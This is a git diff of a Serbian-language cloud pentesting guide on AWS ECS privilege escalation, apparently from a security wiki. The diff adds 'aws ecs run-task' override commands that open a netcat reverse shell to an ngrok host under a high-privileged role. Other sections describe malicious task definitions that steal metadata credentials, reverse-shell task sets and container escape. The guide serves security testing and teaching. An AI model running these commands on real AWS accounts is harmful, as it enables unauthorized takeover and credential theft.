diff --git a/src/images/image (135).png b/src/images/image (135).png deleted file mode 100644 index 0ec903dbf..000000000 Binary files a/src/images/image (135).png and /dev/null differ diff --git a/src/images/image (140).png b/src/images/image (140).png deleted file mode 100644 index 10337014b..000000000 Binary files a/src/images/image (140).png and /dev/null differ diff --git a/src/images/image (150).png b/src/images/image (150).png deleted file mode 100644 index 78b8cafaf..000000000 Binary files a/src/images/image (150).png and /dev/null differ diff --git a/src/images/image (178).png b/src/images/image (178).png deleted file mode 100644 index 8e9a8c2fb..000000000 Binary files a/src/images/image (178).png and /dev/null differ diff --git a/src/images/image (182).png b/src/images/image (182).png deleted file mode 100644 index ecc37ab54..000000000 Binary files a/src/images/image (182).png and /dev/null differ diff --git a/src/images/image (183).png b/src/images/image (183).png deleted file mode 100644 index d15ef1f36..000000000 Binary files a/src/images/image (183).png and /dev/null differ diff --git a/src/images/image (210).png b/src/images/image (210).png deleted file mode 100644 index 96c77e4fb..000000000 Binary files a/src/images/image (210).png and /dev/null differ diff --git a/src/images/image (222).png b/src/images/image (222).png deleted file mode 100644 index 4b08116d8..000000000 Binary files a/src/images/image (222).png and /dev/null differ diff --git a/src/images/image (251).png b/src/images/image (251).png deleted file mode 100644 index 536d3c291..000000000 Binary files a/src/images/image (251).png and /dev/null differ diff --git a/src/images/image (252).png b/src/images/image (252).png deleted file mode 100644 index f2f075bb9..000000000 Binary files a/src/images/image (252).png and /dev/null differ diff --git a/src/images/image (259).png b/src/images/image (259).png deleted file mode 100644 index 95cd08b61..000000000 Binary files a/src/images/image (259).png and /dev/null differ diff --git a/src/images/image (282).png b/src/images/image (282).png deleted file mode 100644 index d383c83f4..000000000 Binary files a/src/images/image (282).png and /dev/null differ diff --git a/src/images/image (31).png b/src/images/image (31).png deleted file mode 100644 index 0f975e105..000000000 Binary files a/src/images/image (31).png and /dev/null differ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md index 11a305351..8a9be9576 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md @@ -12,7 +12,7 @@ Više **informacija o ECS** u: ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` -Napadač koji zloupotrebljava dozvolu `iam:PassRole`, `ecs:RegisterTaskDefinition` i `ecs:RunTask` u ECS može **generisati novu definiciju zadatka** sa **malicioznim kontejnerom** koji krade kredencijale metapodataka i **pokrenuti ga**. +Napadač koji zloupotrebljava `iam:PassRole`, `ecs:RegisterTaskDefinition` i `ecs:RunTask` dozvole u ECS-u može **generisati novu task definiciju** sa **zlonamernim kontejnerom** koji krade metadata kredencijale i **pokrenuti je**. {{#tabs }} {{#tab name="Reverse Shell" }} @@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1 {{#tab name="Webhook" }} -Kreirajte webhook sa sajta kao što je webhook.site +Kreirajte webhook na sajtu kao što je webhook.site ```bash # Create file container-definition.json @@ -75,12 +75,58 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1 {{#endtabs }} -**Potencijalni uticaj:** Direktno privesc na drugu ECS ulogu. +**Potencijalni uticaj:** Direktan privesc na drugu ECS ulogu. + +### `iam:PassRole`,`ecs:RunTask` +Napadač koji ima dozvole `iam:PassRole` i `ecs:RunTask` može pokrenuti novi ECS task sa izmenjenim vrednostima **execution role**, **task role** i **command** kontejnera. Komanda `ecs run-task` (CLI) sadrži flag `--overrides` koji omogućava promenu u runtime-u `executionRoleArn`, `taskRoleArn` i `command` kontejnera bez menjanja task definition. + +Navedene IAM uloge za `taskRoleArn` i `executionRoleArn` moraju u svojoj trust policy dozvoliti da ih `ecs-tasks.amazonaws.com` preuzme. + +Takođe, napadač treba da zna: +- ime ECS klastera +- VPC Subnet +- Security group (Ako security group nije navedena, koristiće se podrazumevana) +- Task Definition name i revizija +- ime kontejnera +```bash +aws ecs run-task \ +--cluster \ +--launch-type FARGATE \ +--network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" \ +--task-definition \ +--overrides ' +{ +"taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole", +"containerOverrides": [ +{ +"name": , +"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"] +} +] +}' +``` +U gornjem isječku koda napadač menja samo vrednost `taskRoleArn`. Međutim, napadač mora imati dozvolu `iam:PassRole` nad `taskRoleArn` navedenim u komandi i nad `executionRoleArn` navedenim u definiciji taska da bi napad bio moguć. + +Ako IAM role koju napadač može proslediti ima dovoljno privilegija da povuče ECR sliku i pokrene ECS task (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`), onda napadač može navesti istu IAM ulogu za oba `executionRoleArn` i `taskRoleArn` u `ecs run-task` komandi. +```sh +aws ecs run-task --cluster --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" --task-definition --overrides ' +{ +"taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole", +"executionRoleArn":"arn:aws:iam:::role/HighPrivilegedECSTaskRole", +"containerOverrides": [ +{ +"name": "", +"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"] +} +] +}' +``` +**Potential Impact:** Direktan privesc na bilo koju ECS task rolu. ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` -Baš kao u prethodnom primeru, napadač koji zloupotrebljava **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** dozvole u ECS može **generisati novu definiciju zadatka** sa **malicioznim kontejnerom** koji krade kredencijale metapodataka i **pokrenuti ga**.\ -Međutim, u ovom slučaju, potrebna je instanca kontejnera za pokretanje maliciozne definicije zadatka. +Baš kao u prethodnom primeru, napadač koji zloupotrebljava permisije **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** u ECS-u može **generisati novu task definition** sa **malicioznim kontejnerom** koji krade metadata credentials i **pokrenuti je**.\ +Međutim, u ovom slučaju potreban je container instance da bi se pokrenula maliciozna task definition. ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -96,11 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \ ## You need to remove all the versions (:1 is enough if you just created one) aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ``` -**Potencijalni uticaj:** Direktno privesc na bilo koju ECS ulogu. +**Potencijalni uticaj:** Direktan privesc na bilo koju ECS rolu. ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` -Baš kao u prethodnom primeru, napadač koji zloupotrebljava **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ili **`ecs:CreateService`** dozvole u ECS može **generisati novu definiciju zadatka** sa **malicioznim kontejnerom** koji krade kredencijale metapodataka i **pokrenuti je kreiranjem nove usluge sa najmanje 1 aktivnim zadatkom.** +Baš kao u prethodnom primeru, napadač koji zloupotrebljava **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ili **`ecs:CreateService`** dozvole u ECS-u može da generiše novu task definiciju sa malicioznim kontejnerom koji krade metadata kredencijale i pokrene je kreiranjem novog servisa sa najmanje jednim task-om koji radi. ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -123,11 +169,11 @@ aws ecs update-service --cluster \ --service \ --task-definition ``` -**Potencijalni uticaj:** Direktno privesc na bilo koju ECS ulogu. +**Potencijalni uticaj:** Direktan privesc na bilo koju ECS ulogu. ### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)` -U stvari, samo sa tim dozvolama moguće je koristiti override da izvršite proizvoljne komande u kontejneru sa proizvoljnom ulogom sa nečim poput: +Zapravo, samo sa tim dozvolama moguće je koristiti overrides da izvršite proizvoljne komande u kontejneru sa proizvoljnom ulogom koristeći nešto poput: ```bash aws ecs run-task \ --task-definition "" \ @@ -135,16 +181,16 @@ aws ecs run-task \ --cluster \ --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" ``` -**Potencijalni uticaj:** Direktno privesc na bilo koju ECS ulogu. +**Potencijalni uticaj:** Direct privesc to any ECS role. ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -Ovaj scenario je sličan prethodnim, ali **bez** dozvole **`iam:PassRole`**.\ -Ovo je i dalje zanimljivo jer ako možete pokrenuti proizvoljan kontejner, čak i bez uloge, mogli biste **pokrenuti privilegovani kontejner da pobegnete** na čvor i **ukradete EC2 IAM ulogu** i **druge ECS uloge kontejnera** koje se izvršavaju na čvoru.\ -Možete čak i **prisiliti druge zadatke da se izvršavaju unutar EC2 instance** koju kompromitujete da biste ukrali njihove akreditive (kao što je objašnjeno u [**Privesc na čvor sekciji**](aws-ecs-privesc.md#privesc-to-node)). +Ovaj scenarij je sličan prethodnim, ali **bez** dozvole **`iam:PassRole`**.\ +Ovo je i dalje interesantno zato što, ako možete pokrenuti proizvoljan container, čak i bez role, mogli biste **pokrenuti privilegovani container da pobegnete** na node i **ukrasti EC2 IAM rolu** i **role drugih ECS containera** koji se izvršavaju na node-u.\ +Možete čak i **prisiliti druge tasks da se pokrenu unutar EC2 instance** koju kompromitujete kako biste ukrali njihove credentials (kao što je opisano u [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)). > [!WARNING] -> Ovaj napad je moguć samo ako **ECS klaster koristi EC2** instance, a ne Fargate. +> Ovaj napad je moguć samo ako **ECS cluster koristi EC2** instance, a ne Fargate. ```bash printf '[ { @@ -187,12 +233,12 @@ aws ecs run-task --task-definition iam_exfiltration \ ``` ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -Napadač sa **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** može **izvršavati komande** unutar aktivnog kontejnera i eksfiltrirati IAM ulogu koja je povezana sa njim (potrebna su prava za opis jer je neophodno pokrenuti `aws ecs execute-command`).\ -Međutim, da bi to uradio, instanca kontejnera mora imati pokrenut **ExecuteCommand agent** (što po defaultu nije slučaj). +Napadač koji ima **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** može **izvršavati komande** unutar pokrenutog containera i eksfiltrirati IAM role prikačenu na njega (potrebne su describe dozvole jer su neophodne za pokretanje `aws ecs execute-command`).\ +Međutim, da bi se to uradilo, container instance mora da pokreće **ExecuteCommand agent** (što po defaultu nije). -Stoga, napadač može pokušati da: +Stoga napadač može pokušati da: -- **Pokuša da izvrši komandu** u svakom aktivnom kontejneru +- **Pokušati pokrenuti komandu** u svakom pokrenutom containeru ```bash # List enableExecuteCommand on each task for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do @@ -210,18 +256,18 @@ aws ecs execute-command --interactive \ --cluster "$CLUSTER_ARN" \ --task "$TASK_ARN" ``` -- Ako ima **`ecs:RunTask`**, pokrenite zadatak sa `aws ecs run-task --enable-execute-command [...]` -- Ako ima **`ecs:StartTask`**, pokrenite zadatak sa `aws ecs start-task --enable-execute-command [...]` -- Ako ima **`ecs:CreateService`**, kreirajte servis sa `aws ecs create-service --enable-execute-command [...]` -- Ako ima **`ecs:UpdateService`**, ažurirajte servis sa `aws ecs update-service --enable-execute-command [...]` +- Ako ima **`ecs:RunTask`**, pokrenite task sa `aws ecs run-task --enable-execute-command [...]` +- Ako ima **`ecs:StartTask`**, pokrenite task sa `aws ecs start-task --enable-execute-command [...]` +- Ako ima **`ecs:CreateService`**, kreirajte service sa `aws ecs create-service --enable-execute-command [...]` +- Ako ima **`ecs:UpdateService`**, ažurirajte service sa `aws ecs update-service --enable-execute-command [...]` Možete pronaći **primere tih opcija** u **prethodnim ECS privesc sekcijama**. -**Potencijalni uticaj:** Privesc na drugu ulogu vezanu za kontejnere. +**Potential Impact:** Privesc to a different role attached to containers. ### `ssm:StartSession` -Proverite na **ssm privesc stranici** kako možete zloupotrebiti ovu dozvolu za **privesc na ECS**: +Pogledajte na **ssm privesc page** kako možete zloupotrebiti ovu dozvolu da **privesc to ECS**: {{#ref}} aws-ssm-privesc.md @@ -229,24 +275,27 @@ aws-ssm-privesc.md ### `iam:PassRole`, `ec2:RunInstances` -Proverite na **ec2 privesc stranici** kako možete zloupotrebiti ove dozvole za **privesc na ECS**: +Pogledajte na **ec2 privesc page** kako možete zloupotrebiti ove dozvole da **privesc to ECS**: {{#ref}} aws-ec2-privesc.md {{#endref}} -### `?ecs:RegisterContainerInstance` +### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole` + +An attacker with these permissions could potentially register an EC2 instance in an ECS cluster and run tasks on it. Ovo bi moglo omogućiti attacker-u da izvrši proizvoljan kod u kontekstu ECS taskova. + +- TODO: Is it possible to register an instance from a different AWS account so tasks are run under machines controlled by the attacker?? -TODO: Da li je moguće registrovati instancu iz drugog AWS naloga tako da se zadaci izvršavaju na mašinama koje kontroliše napadač?? ### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets` > [!NOTE] -> TODO: Testirati ovo +> TODO: Test this -Napadač sa dozvolama `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, i `ecs:DescribeTaskSets` može **kreirati zloćudni set zadataka za postojeći ECS servis i ažurirati primarni set zadataka**. Ovo omogućava napadaču da **izvrši proizvoljan kod unutar servisa**. +An attacker with the permissions `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, and `ecs:DescribeTaskSets` can **create a malicious task set for an existing ECS service and update the primary task set**. Ovo omogućava attacker-u da izvrši proizvoljan kod unutar servisa. ```bash -bashCopy code# Register a task definition with a reverse shell +# Register a task definition with a reverse shell echo '{ "family": "malicious-task", "containerDefinitions": [ @@ -270,7 +319,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service -- # Update the primary task set for the service aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id ``` -**Potencijalni uticaj**: Izvršavanje proizvoljnog koda u pogođenoj usluzi, što može uticati na njenu funkcionalnost ili eksfiltrirati osetljive podatke. +**Potencijalni uticaj**: Izvršavanje proizvoljnog koda u pogođenom servisu, što može uticati na njegovu funkcionalnost ili dovesti do eksfiltracije osetljivih podataka. ## Reference